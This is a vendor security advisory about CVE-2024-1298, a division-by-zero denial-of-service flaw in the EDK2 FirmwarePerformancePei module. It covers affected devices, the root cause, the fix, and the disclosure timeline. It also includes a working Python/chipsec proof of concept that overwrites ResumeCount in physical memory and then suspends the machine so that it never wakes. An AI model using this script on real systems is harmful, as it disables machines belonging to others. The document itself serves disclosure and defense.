The Denial Of Service (DoS) vulnerability during PEI phase in EDK2 codebase.
The BINARLY efiXplorer team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.
Image preview
Potential Impact
By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2023-021
- Tianocore assigned CVE identifier: CVE-2024-1298
- CVSS v3.1: 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H
Image preview
Affected firmware
| Device Name | Firmware version | CPU vendor | Module name | Module SHA256 | Module GUID |
|---|---|---|---|---|---|
Intel NUC M15 | 0082 (Latest) | Intel | FirmwarePerformancePei | e4a15c3b9337132b9c4a33a1a26e1f1b5b7ff493c927a2a5c5235ea0cabf331f | adf01bf6-47d6-495d-b95b-687777807214 |
Gigabyte GB-BER5H-5600 | MRZC5MB (Latest) | AMD | FirmwarePerformancePei | 6d3c1e76f6edb851093837e2c08bc0caf4ab3f0f326c01db2fa51518778b8429 | adf01bf6-47d6-495d-b95b-687777807214 |
Supermicro MBD-R12SPD-A | 1.1b (Latest) | Ampere | FirmwarePerformancePei | 67819dca8cca3a49997c19878a60f8c3cf94fb093e521831c8920804e70d828f | adf01bf6-47d6-495d-b95b-687777807214 |
Image preview
Vulnerability description
The vulnerability is located on lines 114, 115 in the FpdtStatusCodeListenerPei function.
AcpiS3ResumeRecord->ResumeCount++;
AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);
An attacker with the ability to modify physical memory can control the value of AcpiS3ResumeRecord->ResumeCount. If the attacker sets the value of ResumeCount to 0xFFFFFFFF, and ResumeCount is subsequently incremented, its new value will be 0 (due to UINT32 overflow). Since there is no check for overflow, when ResumeCount is 0 and passed as the second argument to DivU64x32(), it will trigger a division by 0, and cause a system crash, leading to a DoS.
In order to fix this vulnerability, it is necessary to verify that the ResumeCount value != 0 after increment or != MAX_UINT32 before increment.
Image preview
PoC
A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (FirmwarePerformancePei module) is shown below:
VarSize = 8;
RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize);
AcpiS3PerformanceTable = S3PerformanceTablePointer;
if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' )
return EFI_ABORTED;
ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount;
LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume;
AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume);
LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4;
HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5;
HIDWORD(AverageResume) = AverageResume_high;
S3ResumeTotal = AverageResume * ResumeCount;
// possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32)
ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount;
FullResume = AcpiS3PerformanceTable->S3Resume.FullResume;
S3ResumeTotal_1 = S3ResumeTotal;
Sum = S3ResumeTotal + FullResume;
LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume);
LODWORD(AverageResume) = Sum;
HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32;
// possible division by 0
HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount;
LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum)
/ ResumeCount;
HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);
The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:
import os
import chipsec
import chipsec.chipset
import hexdump
cs = chipsec.chipset.cs()
cs.init(None, True, True)
# FPDT @ 0x0000000000000000
# 0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00 FPDTD.....INTEL.
# 0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20 NUCxi7A5G...AMI
# 0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55 .............@<U
# 0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54 ...............T
# 0040: 00 00 00 00
AcpiS3ResumeRecord = 0x54FA0000 # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff"
)
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))
os.system("echo deep > /sys/power/mem_sleep")
os.system(
"rtcwake -m mem -s 3"
) # the system will never wake up due to a division by 0 at the PEI stage
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date |
|---|---|
Intel PSIRT is notified | 2022-07-26 |
BINARLY public disclosure date | 2023-08-01 |
Tianocore provide patch release | 2024-05-24 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs